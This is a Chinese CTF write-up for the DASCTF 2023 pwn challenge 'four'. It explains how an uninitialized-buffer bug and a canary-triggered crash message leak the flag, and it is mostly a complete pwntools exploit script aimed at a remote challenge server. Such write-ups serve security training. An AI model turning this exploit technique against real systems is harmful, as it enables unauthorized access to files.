DASCTF_2023_4 Pwn

DASCTF_2023_4

four

充满了误导的一道题

五个功能,如下

序号 功能
1 得到libc,但是关闭标准输出
2 栈上大数组填充,可以残留很多数据
3 open(dest,0),dest存在未初始化就使用的情况
4 read(fd,xxx,size),可以读数据进来
5 溢出,但是有canary

仔细观察,发现3号功能里面dest,在你输入的filename与output.txt相同时,会未经初始化就被使用。因此如果我们在另一个函数中,提前在这里布置上“flag”字符串,字符串就会在这个函数退出后残留下来,并且在后来的3号功能中成为dest的初始值

于是我们就能open进来flag,另一个功能可以进行读取fd到一个地址,这里地址的传递经历了一个小端与大端的变化。

然后把flag读进来,修改main函数下方保存的文件名指针,再通过canary触发就可以打印出来flag了。

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn' 
libcpath='/home/wjc/Desktop/libc.so.6'

#p=process(ELFpath)
p=remote('node4.buuoj.cn',29954)

e=ELF(ELFpath)
libc=ELF(libcpath)

ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def cmd(idx):
    ru("your choice : ")
    sl(str(idx))

def getlibc(size,content):
    cmd(1)
    ru('address---> 0x')
    libcbase=int(r(12),16)-libc.symbols['printf']   
    LOGTOOL['libcbase']=libcbase
    LOGALL()
    ru('You can give any value, trust me, there will be no overflow')
    sl(str(size))
    ru("Actually, this function doesn't seem to be useful")
    sl(content)
    ru("Really?")
    sl("N")
def lr(size,content,choice):
    cmd(2)
    ru('You can give any value, trust me, there will be no overflow')
    sl(str(size))
    ru("Actually, this function doesn't seem to be useful")
    s(content)
    ru("Really?")
    s(choice)

def wf(level,mode,X,content,file,choice):
    cmd(3)
    ru("Enter level:")
    sl(str(level))
    ru("Enter mode:")
    sl(str(mode))
    ru("Enter X:")
    sl(str(X))
    ru("Enter a string: ")
    sl(content)
    ru("please input filename")
    sl(file)
    ru("1. yes\n2.no")
    sls(choice)
def rf(info):
    cmd(4)
    ru("info>>")
    sl(info)

pay ='uu'*0x2a68
pay+='aaa'*8
pay+='A'

pay =0x5DE0*'c'+'flag\x00\x00\x00\x00'
lr(len(pay)+1,pay,'N')
wf(1,1,1,'aaa','output.txt',0)

info ="~3"
info+="@z*"
info+=":\x60\x21\x10"

rf(info)

pay=0x118*'a'+p64(0x602110)

cmd(5)
ru('This is a strange overflow. Because of canary, you must not hijack the return address')
sl(pay)

it()
posted @ 2023-04-22 21:05  Jmp·Cliff  阅读(74)  评论(0编辑  收藏  举报